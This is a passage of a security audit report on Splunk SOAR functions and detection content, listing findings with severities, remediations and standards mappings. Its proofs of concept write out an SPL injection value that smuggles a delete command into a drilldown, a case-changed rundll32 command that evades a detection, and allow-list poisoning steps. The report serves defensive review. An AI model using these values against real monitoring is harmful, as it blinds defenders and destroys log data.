CWE: CWE-20 Improper Input Validation (2024 CWE Top 25 #12); CWE-625. **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1027 Obfuscated Files or Information. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR custom functions / Input Validation.

CF-10 — Object-reference inputs acted on without authorisation checks (artifact/indicator/evidence functions)

Severity: Low (CVSS v3.1 base 4.3). Exploitability: Conditionally exploitable.

Location. playbooks/custom_functions/artifact_update.py:42,47-50,106; artifact_create.py:93; indicator_tag.py:40,53; mark_evidence.py

Description: IDs are type-coerced but not ownership-checked, so a function invoked with an attacker-influenced id operates on an arbitrary object the automation user can reach. Int-validation and the platform's own RBAC bound the impact, so this is defense-in-depth rather than a direct break. **Untrusted-input reachability**: **Conditionally exploitable** only if a playbook maps attacker data into an id field. **Proof of concept**: n/a (requires live REST). **Remediation**: validate that the referenced object belongs to the current container/case before mutating; avoid accepting `artifact_id`/`container` inside free-form `input_json`.

Standards mapping.

CWE: CWE-639 Authorization Bypass Through User-Controlled Key (IDOR); CWE-284 Improper Access Control. **OWASP Top 10 2021:** A01:2021 Broken Access Control. **MITRE ATT&CK:** T1565 Data Manipulation. **NIST SP 800-53r5:** AC-3 Access Enforcement. **NIST CSF 2.0:** PR.AA Protect - Identity Management, Authentication, and Access Control. **ISO/IEC 27001:2022:** A.8.3 Information access restriction. **SANS Secure Coding Practice:** SOAR custom functions / Access Control.

CF-14 — url_parse: unhandled ValueError on malformed port

Severity: Low (CVSS v3.1 base 3.7). Exploitability: Exploitable as nuisance DoS.

Location. playbooks/custom_functions/url_parse.py:26-37

Description: `urllib.parse`'s `.port` property raises `ValueError` for an out-of-range or non-numeric port (e.g. `http://h:99999/`, `http://h:abc/`). Since the function is fed attacker URLs and has no try/except, a crafted URL raises and fails the playbook block rather than returning parsed components. `.hostname` can also be `None` for odd inputs, which downstream code may not expect.

Untrusted-input reachability: CEF `requestURL` → `input_url`. **Exploitable** as a nuisance DoS of the URL-parsing block. **Remediation**:

```
parsed = urlparse(input_url)
try:
    port = parsed.port
except ValueError:
    port = None
outputs = {..., 'hostname': parsed.hostname or '', 'port': port, ...}
```

Standards mapping.

CWE: CWE-248; CWE-20 Improper Input Validation (2024 CWE Top 25 #12). **OWASP Top 10 2021:** A06:2021 Vulnerable and Outdated Components. **MITRE ATT&CK:** T1499 Endpoint Denial of Service. **NIST SP 800-53r5:** SI-10 Information Input Validation, SI-11 Error Handling. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR custom functions / Error Handling and Logging.

CF-12 — debug.py and passthrough.py log full input values (sensitive data to logs)

Severity: Low (CVSS v3.1 base 3.3). Exploitability: Data-handling.

Location. playbooks/custom_functions/debug.py:29-36; passthrough.py:41

Description: These utilities stringify and log every input (which may be PII, email bodies, credentials pulled from other blocks, decoded base64) to the SOAR debug/playbook log, where retention and access controls differ from the vault. By design for `debug`, but worth flagging for data-handling. **Remediation**: truncate/redact logged values, gate on an explicit verbosity flag, and document that sensitive data should not be routed through `debug`/`passthrough`.

Standards mapping.

CWE: CWE-532 Insertion of Sensitive Information into Log File; CWE-200 Exposure of Sensitive Information to an Unauthorized Actor (2024 CWE Top 25 #17). **OWASP Top 10 2021:** A09:2021 Security Logging and Monitoring Failures. **NIST SP 800-53r5:** AU-9 Protection of Audit Information, SI-11 Error Handling. **NIST CSF 2.0:** PR.DS Protect - Data Security. **ISO/IEC 27001:2022:** A.8.15 Logging. **SANS Secure Coding Practice:** SOAR custom functions / Error Handling and Logging.

CF-13 — Validation via assert statements (stripped under python -O)

Severity: Low (CVSS v3.1 base 3.1). Exploitability: Robustness.

Location. playbooks/custom_functions/*.py (40 sites, e.g. zip_extract.py:67, find_related_containers.py:299,341)

Description: `assert` is the sole JSON-serializability / type gate before returning. If the interpreter runs with `-O`/`PYTHONOPTIMIZE`, all asserts are removed and the guarantee silently disappears; some asserts (e.g. `find_related_containers.py:299`) also double as early-return control flow. **Remediation**: replace with explicit runtime checks that raise, e.g. `try: json.dumps(outputs) except (TypeError, ValueError): raise RuntimeError("outputs not JSON-serializable")`.

Standards mapping.

CWE: CWE-617; CWE-703. **OWASP Top 10 2021:** A04:2021 Insecure Design. **NIST SP 800-53r5:** SI-11 Error Handling. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR custom functions / Error Handling and Logging.

CF-15 — Missing None/type guards and empty-cell substring logic bug (custom_list_value_in_strings)

Severity: Low (CVSS v3.1 base 3.1). Exploitability: Robustness / correctness.

Location. playbooks/custom_functions/string_split.py:26; regex_split.py:34-35; regex_filter_list.py:22; json_safe_format.py:17; custom_list_value_in_strings.py:27-35; list_deduplicate.py:18; list_drop_none.py:18

Description: These are input-validation gaps. Most fail closed (raise), degrading reliability under hostile/malformed CEF data; `custom_list_value_in_strings`'s empty-cell behaviour is a correctness bug that can mislabel benign strings as matches in a security comparison. **Remediation**: add explicit `isinstance`/None checks at each entry point and skip empty cells (`if cell and comparison_string.find(cell) != -1`).

Standards mapping.

CWE: CWE-20 Improper Input Validation (2024 CWE Top 25 #12); CWE-754 Improper Check for Unusual or Exceptional Conditions; CWE-476 NULL Pointer Dereference (2024 CWE Top 25 #21). **OWASP Top 10 2021:** A04:2021 Insecure Design. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR custom functions / Input Validation.

CF-16 — base64_decode: fail-open decoding, NUL stripping and non-ASCII drop

Severity: Low (CVSS v3.1 base 3.1). Exploitability: Integrity / evasion.

Location. playbooks/custom_functions/base64_decode.py:54-63

Description: Decoded output is forced through `.decode('ascii')`, so any binary/UTF-8 payload raises and is silently dropped (`phantom.error`, loop continues) — a decoded IOC can vanish without signal. NUL bytes are stripped from the result, altering the decoded content. Invalid chunks in split mode are skipped rather than reported. This is fail-open behaviour over attacker data (base64 is a common obfuscation of malicious indicators). **Remediation**: decode with `errors='replace'` or return raw bytes hex, do not strip NUL silently, and surface skipped/undecodable chunks in the output so detections are not blinded.

Standards mapping.

CWE: CWE-172; CWE-20 Improper Input Validation (2024 CWE Top 25 #12); CWE-703. **OWASP Top 10 2021:** A04:2021 Insecure Design, A09:2021 Security Logging and Monitoring Failures. **MITRE ATT&CK:** T1027 Obfuscated Files or Information. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** DE.AE Detect - Adverse Event Analysis. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR custom functions / Input Validation.

CF-18 — zip_extract: unvalidated vault_id used to build the temp extraction path

Severity: Low (CVSS v3.1 base 3.1). Exploitability: Defence-in-depth.

Location. playbooks/custom_functions/zip_extract.py:48

Description: `vault_id` comes from `artifact:*.cef.vaultId` (attacker-influenced). It is only existence-checked via `phantom.vault_info`; it is not validated as a bare hash/int before being joined into a filesystem path. If a value containing `..` or an absolute path ever passed `vault_info`, `Path` join semantics could redirect the extraction directory (`Path('/a/b') / '/etc/x'` == `/etc/x`). In practice `vault_info` requires a real vault item, so this is defense-in-depth.

Remediation: validate `vault_id` against `^[A-Fa-f0-9]{40,64}$` or integer before any path construction.

Standards mapping.

CWE: CWE-22 Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) (2024 CWE Top 25 #5); CWE-20 Improper Input Validation (2024 CWE Top 25 #12). **OWASP Top 10 2021:** A01:2021 Broken Access Control. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR custom functions / File Management.

CF-17 — Deprecated naive-UTC datetime APIs and epoch truncation

Severity: Informational (no CVSS score (informational)). Exploitability: Best practice.

Location. playbooks/custom_functions/datetime_modify.py:37,87; indicator_get_by_tag.py:42

Description: `utcfromtimestamp`/`utcnow` are deprecated from Python 3.12 and return naive datetimes, risking timezone-offset bugs in time-window filters; `int(input_datetime)` truncates fractional epochs and raises on decimal strings. **Remediation**: use timezone-aware `datetime.fromtimestamp(ts, tz=datetime.timezone.utc)` / `datetime.now(datetime.timezone.utc)`; accept `float(input_datetime)` for epoch.

Standards mapping.

CWE: CWE-477 Use of Obsolete Function. **OWASP Top 10 2021:** . **NIST SP 800-53r5:** SI-2 Flaw Remediation. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR custom functions / General Coding Practices.

4.3 Detection Content, Baselines and Stories

This area produced 15 unique findings: 6 Medium, 4 Low, 5 Informational.

DET-03 — New-IP and spike detections write their own allow-list from attacker-influenced events (self-poisoning)

Severity: Medium (CVSS v3.1 base 5.8). Exploitability: Conditionally exploitable (detection integrity).

Location. detections/cloud/detect_s3_access_from_a_new_ip.yml:12-27; detect_gcp_storage_access_from_a_new_ip.yml:24-28; detect_spike_in_s3_bucket_deletion.yml:17-26; detect_spike_in_blocked_outbound_traffic_from_your_aws.yml:15-24

- **Location (≥3)**: `detections/cloud/detect_s3_access_from_a_new_ip.yml:12-27` (`| inputlookup append=t previously_seen_S3_access_from_remote_ip ... | outputlookup previously_seen_S3_access_from_remote_ip`), `detections/cloud/detect_gcp_storage_access_from_a_new_ip.yml:24-28`, `detections/cloud/detect_spike_in_s3_bucket_deletion.yml:17-26` (`| outputlookup s3_deletion_baseline`), `detections/cloud/detect_spike_in_blocked_outbound_traffic_from_your_aws.yml:15-24` (`| outputlookup baseline_blocked_outbound_connections`).

Description: These Anomaly detections are "stateful": the scheduled detection search itself appends the current window's observations to a KV-store/CSV baseline and writes it back with `outputlookup`, then flags only rows whose `firstTime` is within the last ~70 minutes. Because the detection unconditionally merges whatever it just saw into the "previously seen" set, the **first** time an attacker's

IP/ARN/bucket appears it is flagged — but it is simultaneously written to the baseline, so **every subsequent action from the same IP is now "previously seen" and silently suppressed**. An attacker who can generate one low-and-slow event (or who front-runs the detection's own schedule) permanently whitelists their infrastructure. The detection is both the writer and the reader of the trust store (confirmed by data-flow map: writer == reader for `previously_seen_S3_access_from_remote_ip`, `previously_seen_gcp_storage_access_from_remote_ip`, `s3_deletion_baseline`, `baseline_blocked_outbound_connections`). **Untrusted-input reachability**: Source = CloudTrail/S3 access/VPC-flow events (an attacker performing the very activity being detected controls the IP/ARN/bucket values). Sink = allow-list KV store consumed by the same detection on the next run. Verdict: **Conditionally exploitable** — integrity attack on the detection, no confidentiality impact; preconditions are only that the attacker can emit the monitored event once before/with the first detection run. **Proof of concept**: Attacker accesses S3 bucket from IP `X` once. Detection run N: `X` has `firstTime` in the last 70 min → alert fires once, and `X` is written to `previously_seen_S3_access_from_remote_ip`. Run N+1..∞: `X` now has an old `firstTime` → `newIP=0` → never alerts again. The attacker exfiltrates at leisure from `X`. **Remediation**: Separate the trust store from the detection. The write (baseline maintenance) must be a privileged, lower-frequency support search that **excludes events already judged malicious**, and the detection must be read-only against the baseline. Minimal fix — remove the `outputlookup` from the detection and rely on the paired `___update` baseline search, and in the baseline exclude risk/notable-tagged sources:

```
`aws_s3_accesslogs` http_status=200
  | stats earliest(_time) as firstTime latest(_time) as lastTime BY bucket_name remote_ip
  | lookup previously_seen_S3_access_from_remote_ip bucket_name remote_ip OUTPUT firstTime
as seen
  | where isnull(seen)                          ``` read-only: never writes the alerting
event back ```
  | iplocation remote_ip | rename remote_ip as src_ip
  | `detect_s3_access_from_a_new_ip_filter`
```

This stops self-poisoning because the detection no longer promotes the triggering event into the allow-list; promotion happens only in a governed baseline job.

Standards mapping.

CWE: CWE-349 Acceptance of Extraneous Untrusted Data With Trusted Data; CWE-345 Insufficient Verification of Data Authenticity; CWE-693 Protection Mechanism Failure. **OWASP Top 10 2021:** A04:2021 Insecure Design, A09:2021 Security Logging and Monitoring Failures. **MITRE ATT&CK:** T1562.001 Impair Defenses: Disable or Modify Tools, T1070 Indicator Removal. **NIST SP 800-53r5:** SI-4 System Monitoring, AU-6 Audit Record Review, Analysis, and Reporting, AU-12 Audit Record Generation. **NIST CSF 2.0:** DE.CM Detect - Continuous Monitoring, DE.AE Detect - Adverse Event Analysis. **ISO/IEC 27001:2022:** A.8.16 Monitoring activities, A.8.15 Logging. **SANS Secure Coding Practice:** Detection content / Access Control.

DET-02 — SPL injection in potential_password_in_username via attacker-chosen username passed through map

Severity: Medium (CVSS v3.1 base 5.3). Exploitability: Conditionally exploitable (string-substitution model).

Location. detections/endpoint/potential_password_in_username.yml:12-32

```
20      | eval incorrect_cred=user
...
22      | map maxsearches=70 search="
24        ...Authentication.src=\"$src$\" Authentication.dest=\"$dest$\" sourcetype IN
(\"$sourcetype$\") ...
27        | eval incorrect_cred=\"$incorrect_cred$\"
28        | eval ut_shannon=\"$ut_shannon$\"
```

Description: The outer search harvests **failed-authentication** events and keeps the `user` value (an attacker-supplied login string) as `incorrect_cred`, `src`, `dest`, `sourcetype`. These are then substituted by the Splunk `map` command into an inner search string. `map` performs **literal `$field$` token substitution with no quoting/escaping** unless the `|s` modifier is used (`$field|s$`). Here the tokens are placed inside double-quoted SPL literals (`Authentication.src=\"$src$\"`, `eval incorrect_cred=\"$incorrect_cred$\"`). A value containing a double quote terminates the literal early and lets the remainder of the attacker string be parsed as SPL inside the inner (map) search. The `potential_password_in_username_false_positive_reduction` macro expands to `search *` and does not sanitize. **Untrusted-input reachability**: Source = the username field of a failed login (fully attacker-controlled — an attacker simply attempts a login with a crafted username). Sink = inner SPL compiled and run by `map`. Preconditions that bound severity: (1) the inner run executes with the saved-search's own (service) permissions, not elevated beyond the detection; (2) the row only reaches `map` if the bogus username also has Shannon entropy > 3, length ≥ 8, a single src, and is followed by a *successful* auth from the same src/dest (lines 18, 30) — a non-trivial precondition, hence AC:H / "Conditionally exploitable"; (3) ES/`map` has guardrails but does not quote tokens. The realistic impact is a crafted username injecting SPL that runs in the detection's context (e.g. widening the inner time window, adding a subsearch, or causing errors/DoS of the scheduled search). It is **not** a path to arbitrary host command execution. Verdict: **Conditionally exploitable** (self-inflicted SPL injection / detection-logic tampering).

- **Proof of concept (safe, local string-substitution model)**: I modelled Splunk's documented `map` substitution as a pure string operation in `scratchpad/work/det/` to show the quote-break. For a failed-auth username value chosen to contain a `"` followed by SPL and a trailing comment, the rendered inner search string has its `eval incorrect_cred="..."` literal closed early and the attacker's `| ...` appended before the detection's own trailing pipes — i.e. the injected clause becomes part of the executed inner SPL. (The outer-search entropy/length/success preconditions above still gate whether such a row ever reaches `map`.) No Splunk instance or external host was contacted.

Remediation: Use the `|s` quoting modifier on every substituted token so Splunk quote-and-escapes the value, and prefer passing the value as data rather than into a literal:

```
| map maxsearches=70 search="
  | tstats `security_content_summariesonly` ... FROM datamodel=Authentication
    WHERE nodename=Authentication.Successful_Authentication
      Authentication.src=$src|s$ Authentication.dest=$dest|s$ sourcetype IN ($sourcetype|
s$)
      earliest=$starttime|s$ latest=$endtime|s$ BY \"Authentication.user\"
  | `drop_dm_object_name(\"Authentication\")`
  | `potential_password_in_username_false_positive_reduction`
  | eval incorrect_cred=$incorrect_cred|s$
  | eval ut_shannon=$ut_shannon|s$
  | sort count"
```

Better still, avoid `map` entirely (it is per-row subsearch = expensive and injection-prone) and re-express as a single `stats`/`eventstats` join on src+dest. `$field|s$` wraps the value in quotes and backslash-escapes embedded quotes, so a `"` in the username can no longer terminate the literal.

Standards mapping.

CWE: CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection); CWE-77 Improper Neutralization of Special Elements used in a Command (Command Injection) (2024 CWE Top 25 #13); CWE-116 Improper Encoding or Escaping of Output. **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1562.001 Impair Defenses: Disable or Modify Tools. **NIST SP 800-53r5:** SI-10 Information Input Validation, SI-4 System Monitoring. **NIST CSF 2.0:** PR.DS Protect - Data Security, DE.CM Detect - Continuous Monitoring. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** Detection content / Output Encoding.

DET-04 — Previously-seen baselines and their consumers form an allow-list poisoning path (30 files)

Severity: Medium (CVSS v3.1 base 5.3). Exploitability: Conditionally exploitable (defence evasion).

Location. baselines/previously_seen_*___update.yml (13 files); baselines/previously_seen_s3_bucket_access_by_remote_ip.yml; baselines/create_a_list_of_approved_aws_service_accounts.yml:9; detections/endpoint/first_time_seen_running_windows_service.yml:16-17 (18 consumers)

Description: The ESCU "first time seen" pattern maintains KV-store allow-lists (`previously_seen_running_windows_services`, `previously_seen_users_console_logins`, `zoom_first_time_child_process`, `previously_seen_cloud_*`, `aws_service_accounts`, etc.) via scheduled `___update` baselines that **append every observed value unconditionally** (`inputlookup append=t ... | outputlookup`). The paired detection fires only for values **absent** from the allow-list. An attacker who controls the monitored field (a Windows service name, a Zoom child-process name, a CloudTrail user/region, an IAM identity) and can get it observed during a quiet window gets it permanently added to "previously seen", after which the real malicious use is suppressed. `create_a_list_of_approved_aws_service_accounts.yml:9` is the starkest case: it writes *every* `userName` with `errorCode=success` into the `aws_service_accounts` allow-list (consumed by MFA/unapproved-account detections in `removed/`), so any account that performs one successful call is auto-approved. The `how_to_implement` even says to manually prune it ("Please remove the entries of service accounts that are not legitimate") — i.e. the design assumes manual curation that the automation defeats. **Untrusted-input reachability**: Source = event fields controllable by an attacker who performs the activity (service install, console login, cloud provisioning). Sink = allow-list read by the detection `where isnull(...)`. Preconditions: attacker observation lands in a baseline run before the detection run (the baselines run on `Default Baseline`/hourly cadence). Verdict: **Conditionally exploitable** (detection-integrity / defense-evasion; no C or A impact). **Proof of concept**: Install a service named exactly like a future payload during a maintenance window → `previously_seen_running_windows_services` now contains it → `first_time_seen_running_windows_service` returns `firstTimeSeen` non-null for the attacker's later identical-named service → `where isnull(firstTimeSeen) OR firstTimeSeen > window` is false → no alert. **Remediation**: (1) Gate baseline promotion — exclude sources already flagged (join against risk index / notable throttle) and require a minimum observation count/age before a value is considered "seen"; (2) age out entries; (3) treat the allow-list KV collections as security-sensitive: restrict `outputlookup` write capability to the support-search role only, and set collection ACLs so event-driven searches cannot write them; (4) for `aws_service_accounts`, do not auto-populate —

seed it from an authoritative IAM inventory, not from observed success events. Example gated update:

```
... | stats earliest(_time) as firstTimeSeen ... by service
  | eval observations=1
  | inputlookup previously_seen_running_windows_services append=t
  | stats sum(observations) as observations min(firstTimeSeen) as firstTimeSeen
max(lastTimeSeen) as lastTimeSeen by service
  | where observations >= 3 AND (now() - firstTimeSeen) > 86400   ``` require persistence
before trusting ```
  | outputlookup previously_seen_running_windows_services
```

Standards mapping.

CWE: CWE-345 Insufficient Verification of Data Authenticity; CWE-349 Acceptance of Extraneous Untrusted Data With Trusted Data; CWE-807; CWE-693 Protection Mechanism Failure. **OWASP Top 10 2021:** A04:2021 Insecure Design, A09:2021 Security Logging and Monitoring Failures. **MITRE ATT&CK:** T1562.001 Impair Defenses: Disable or Modify Tools, T1036 Masquerading, T1070 Indicator Removal. **NIST SP 800-53r5:** SI-4 System Monitoring, AU-6 Audit Record Review, Analysis, and Reporting, AU-12 Audit Record Generation, AC-3 Access Enforcement. **NIST CSF 2.0:** DE.CM Detect - Continuous Monitoring, DE.AE Detect - Adverse Event Analysis. **ISO/IEC 27001:2022:** A.8.16 Monitoring activities, A.8.15 Logging, A.8.2 Privileged access rights. **SANS Secure Coding Practice:** Detection content / Access Control.

DET-06 — Case-sensitive match()/LIKE on attacker-controlled fields allows trivial bypass

Severity: Medium (CVSS v3.1 base 5.3). Exploitability: Exploitable (bypass by changing case).

Location. detections/endpoint/rundll_loading_dll_by_ordinal.yml:27; detections/web/crushftp_authentication_bypass_exploitation.yml:12; detections/endpoint/windows_admin_permission_discovery.yml:12; detections/endpoint/crowdstrike_privilege_escalation_for_non_admin_user.yml:18

- **Location (≥3)**: `detections/endpoint/rundll_loading_dll_by_ordinal.yml:27 | where match(process,"rundll32.+\#\d+")` (no `(?i)` — misses `RUNDLL32`/`Rundll32`); `detections/web/crushftp_authentication_bypass_exploitation.yml:12 match(process,"mesch\.exe") OR match(process,"run")` (case-sensitive, and `run` is an unanchored substring); `detections/endpoint/windows_admin_permission_discovery.yml:12 where LIKE(root_drive,"C:")` (SPL `LIKE` is case-sensitive; also hard-codes drive `C:`). Also `detections/endpoint/crowdstrike_privilege_escalation_for_non_admin_user.yml:18 LIKE(type,"%Privilege escalation%")`.

Description: In SPL, the base search `Processes.process="*rundll32*"` is case-insensitive, but `where match()`, `LIKE()` and `like()` are **case-sensitive**. Detections that apply a case-sensitive `match`/`LIKE` as the final discriminating filter are bypassed by changing case. `rundll32` loaded as `RUNDLL32.EXE` (Windows is case-insensitive for execution) evades `match(process,"rundll32...")`. The `crushftp` exploit detection keys on `match(process,"mesch\.exe")` etc. case-sensitively. **Untrusted-input reachability**: Source = `process`/command line the attacker chooses. Sink = the `where` that gates the alert. Verdict: **Exploitable** (attacker fully controls casing of their own process/command).

- **Proof of concept (bypass payload)**: Execute `RunDll32.exe foo.dll,#1` instead of `rundll32.exe foo.dll,#1`. `match(process,"rundll32.+\#\d+")` does not match → no detection, while behaviour is identical.

Remediation: Force case before matching, or add `(?i)` to every regex:

```
| where match(lower(process),"rundll32.+#\d+")
```

or `match(process,"(?i)rundll32.+\#\d+")`. For the `LIKE` cases use `like(lower(root_drive),"c:")` or `where match(lower(root_drive),"^[a-z]:$")` (and don't hard-code `C:`). This preserves true positives while removing the casing bypass.

Standards mapping.

CWE: CWE-178 Improper Handling of Case Sensitivity; CWE-184 Incomplete List of Disallowed Inputs; CWE-693 Protection Mechanism Failure. **OWASP Top 10 2021:** A04:2021 Insecure Design. **MITRE ATT&CK:** T1036 Masquerading, T1027 Obfuscated Files or Information, T1562.001 Impair Defenses: Disable or Modify Tools. **NIST SP 800-53r5:** SI-4 System Monitoring. **NIST CSF 2.0:** DE.CM Detect - Continuous Monitoring. **ISO/IEC 27001:2022:** A.8.16 Monitoring activities. **SANS Secure Coding Practice:** Detection content / Input Validation.

DET-07 — Hard-coded placeholder domain internal_test_email.com ships as live detection logic (dead detections)

Severity: Medium (CVSS v3.1 base 5.3). Exploitability: Not exploitable directly (silent coverage gap).

Location. detections/cloud/gsuite_outbound_email_with_attachment_to_external_domain.yml:16; gsuite_email_suspicious_subject_with_attachment.yml:16; gsuite_email_with_known_abuse_web_service_link.yml:16; gsuite_drive_share_in_external_email.yml:17; gsuite_suspicious_shared_file_name.yml:16

Description: Five GSuite detections gate on a literal placeholder domain `internal_test_email.com` that must equal the customer's own domain. As shipped (two are `status: production`), the `where` clause can never match any real tenant's traffic, so the detection **silently never fires** — a false sense of coverage. `how_to_implement` mentions editing for two of them, but production detections ship enabled with logic that is inert until hand-edited, and there is no macro/lookup indirection to make the edit safe/visible. **Untrusted-input reachability**: Not attacker-triggered; it is a coverage gap (the detection is dead). Verdict: **Not exploitable directly** — it is a silent-failure / missing-detection issue (A09). **Remediation**: Externalize the org domain into a macro or lookup so it is configured once and the dead-literal is impossible:

```
`gsuite_gmail` ... | rex field=source "[^@]+@(?<source_domain>[^@]+)"
  | where [| inputlookup cim_corporate_email_domain_lookup | rename domain as
source_domain | format]
          AND NOT [| inputlookup cim_corporate_email_domain_lookup | rename domain as
dest_domain | format]
```

or reference a `corporate_email_domains` macro. Until then these should be `status: experimental` and disabled by default, not `production`.

Standards mapping.

CWE: CWE-1188 Initialization of a Resource with an Insecure Default; CWE-665; CWE-693 Protection Mechanism Failure. **OWASP Top 10 2021:** A05:2021 Security Misconfiguration, A09:2021 Security Logging and Monitoring Failures. **MITRE ATT&CK:** T1562.001 Impair Defenses: Disable or Modify Tools. **NIST SP 800-53r5:** CM-6 Configuration Settings, SI-4 System Monitoring. **NIST CSF 2.0:** DE.CM Detect - Continuous Monitoring. **ISO/IEC 27001:2022:** A.8.16 Monitoring activities, A.8.9 Configuration management. **SANS Secure Coding Practice:** Detection content / System Configuration.

DET-05 — ES drilldown and risk-message $field$ tokens are substituted unquoted (1,971 detections; one uses |s)

Severity: Medium (CVSS v3.1 base 4.3). Exploitability: Conditionally exploitable (defence-in-depth).

Location. detections/**/*.yml drilldown_searches (3,980 searches), e.g. detections/endpoint/access_lsass_memory_for_dump_creation.yml:34; only detections/endpoint/windows_powershell_process_with_malicious_string.yml:47 uses $dest|s$

Description: ES renders drilldown `search` strings and notable `rule_title`/`risk_message` by substituting `$field$` with the triggering event's field value. contentctl's own schema (`EsTokenString`) documents token substitution "resolved at alert-firing time to the value of the named field". For drilldown **search** fields, the substituted value is interpreted as SPL when the analyst pivots; a field value containing SPL metacharacters (e.g. a `process` or `file_name` field containing `" | ...`) can alter the drilldown search. The repo overwhelmingly emits bare `$field$` (e.g. `search dest = "$dest$"`), not `$field|s$`. For the 1,829 drilldowns whose tokens are attacker-influenceable fields (`process`, `user`, `file_name`, `url`, `process_name`, …) this is a latent SPL-injection-into-drilldown / defense-evasion vector; for `finding.title`/`rba.message` the tokens render as notable text (stored-text, not HTML — ES renders risk_message as text, so true stored-XSS is not demonstrable here, hence not rated as XSS). **Untrusted-input reachability**: Source = event field in the triggering event. Sink = SPL compiled when an analyst clicks the drilldown (UI:R, PR:L analyst). Most tokens are `dest`/`user` (host/user names) with limited injection surface; the risk is real only where the token is a free-form attacker-controlled string and the drilldown places it unquoted. Verdict: **Conditionally exploitable / defense-in-depth** — depends on ES rendering and analyst interaction; low confidence of practical injection but a systemic hardening gap. **Proof of concept**: A detection emitting `| search process = "$process$"` in a drilldown, firing on an event whose `process` = `x" | delete | search "` would, upon analyst pivot, render `| search process = "x" | delete | search ""`. The one-line fix below neutralizes it. **Remediation**: Quote every substituted token with `|s` in drilldown search fields: `| search process=$process|s$`. For `%original_detection_search% | search dest = "$dest$"` use `| search dest=$dest|s$`. This should be enforced in contentctl's `Drilldown`/`EsTokenString` validation (reject bare `$field$` inside a `search` whose value is not a time token). Adopting the `|s` modifier repo-wide (currently 1/1,971) closes the systemic gap.

Standards mapping.

CWE: CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection); CWE-77 Improper Neutralization of Special Elements used in a Command (Command Injection) (2024 CWE Top 25 #13); CWE-116 Improper Encoding or Escaping of Output. **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1562.001 Impair Defenses: Disable or Modify Tools. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** Detection content / Output Encoding.

DET-16 — DSDL/MLTK notebooks deserialise models with pickle and torch.load on stale libraries

Severity: Low (CVSS v3.1 base 3.9). Exploitability: Conditionally exploitable (supply chain of model artifacts).

Location. deprecated/notebooks/pretrained_dga_model_dsdl.ipynb (cell 17); detect_suspicious_dns_txt_records_using_pretrained_model_in_dsdl.ipynb (cells 18,24); detect_dns_data_exfiltration_using_pretrained_model_in_dsdl.ipynb (cells 12,22); detect_suspicious_processnames_using_pretrained_model_in_dsdl.ipynb (cells 17,28)

Description: These MLTK/DSDL notebooks deserialize model artifacts via `pickle.load`/`torch.load` and `tf.keras.models.load_model` from a fixed container path `/srv/app/model/data/...`. Python `pickle` and `torch.load` (which uses pickle) execute arbitrary code on load; if an attacker can write the model directory (supply-chain of the pretrained `.pt`/`.pkl`, or a writable DSDL container volume) they achieve code execution in the DSDL container. In the shipped context the model files are trusted artifacts and the notebooks are `deprecated/` (not in the ESCU app build), so this is a latent/supply-chain concern, not a live vuln. No hard-coded tokens/passwords or embedded output data containing secrets were found in any cell. No `eval`/`exec`/`shell=True`/`os.system`/`subprocess`/`requests(verify=False)` present (the `.eval()` hits are `torch.nn.Module.eval()`, benign). **Untrusted-input reachability**: Requires attacker write to the model artifact / container volume. Verdict: **Conditionally exploitable** (CWE-502 supply-chain), low because artifacts are trusted and notebooks are deprecated. **Remediation**: Prefer `torch.load(..., weights_only=True)` (PyTorch ≥2.0) and load the `state_dict` only; avoid `pickle` for vocab/tokenizer — ship as JSON; verify artifact integrity (hash/signature) before load; pin and refresh dependencies (the pinned versions have known CVEs); use HTTPS for HEC. Example:

```
state = torch.load(MODEL_DIRECTORY + "model.pt", map_location="cpu", weights_only=True)
model.load_state_dict(state); model.eval()
# vocab:
import json; vocab = json.load(open(MODEL_DIRECTORY + "vocab.json"))
```

Standards mapping.

CWE: CWE-502 Deserialization of Untrusted Data (2024 CWE Top 25 #16); CWE-494 Download of Code Without Integrity Check; CWE-1104 Use of Unmaintained Third Party Components. **OWASP Top 10 2021:** A08:2021 Software and Data Integrity Failures, A06:2021 Vulnerable and Outdated Components. **MITRE ATT&CK:** T1195 Supply Chain Compromise, T1204.002 User Execution: Malicious File. **NIST SP 800-53r5:** SI-7 Software, Firmware, and Information Integrity, SR-11 Component Authenticity. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding, A.8.29 Security testing in development and acceptance. **SANS Secure Coding Practice:** Detection content / Input Validation.

DET-08 — Malformed drilldown SPL in Copilot and Ollama detections (unbalanced quotes)

Severity: Low (CVSS v3.1 base 3.1). Exploitability: Not exploitable (quality).

Location.
detections/application/m365_copilot_non_compliant_devices_accessing_m365_copilot.yml:26; m365_copilot_information_extraction_jailbreak_attack.yml:63; m365_copilot_jailbreak_attempts.yml:37; ollama_abnormal_network_connectivity.yml:29 (+5 ollama files)

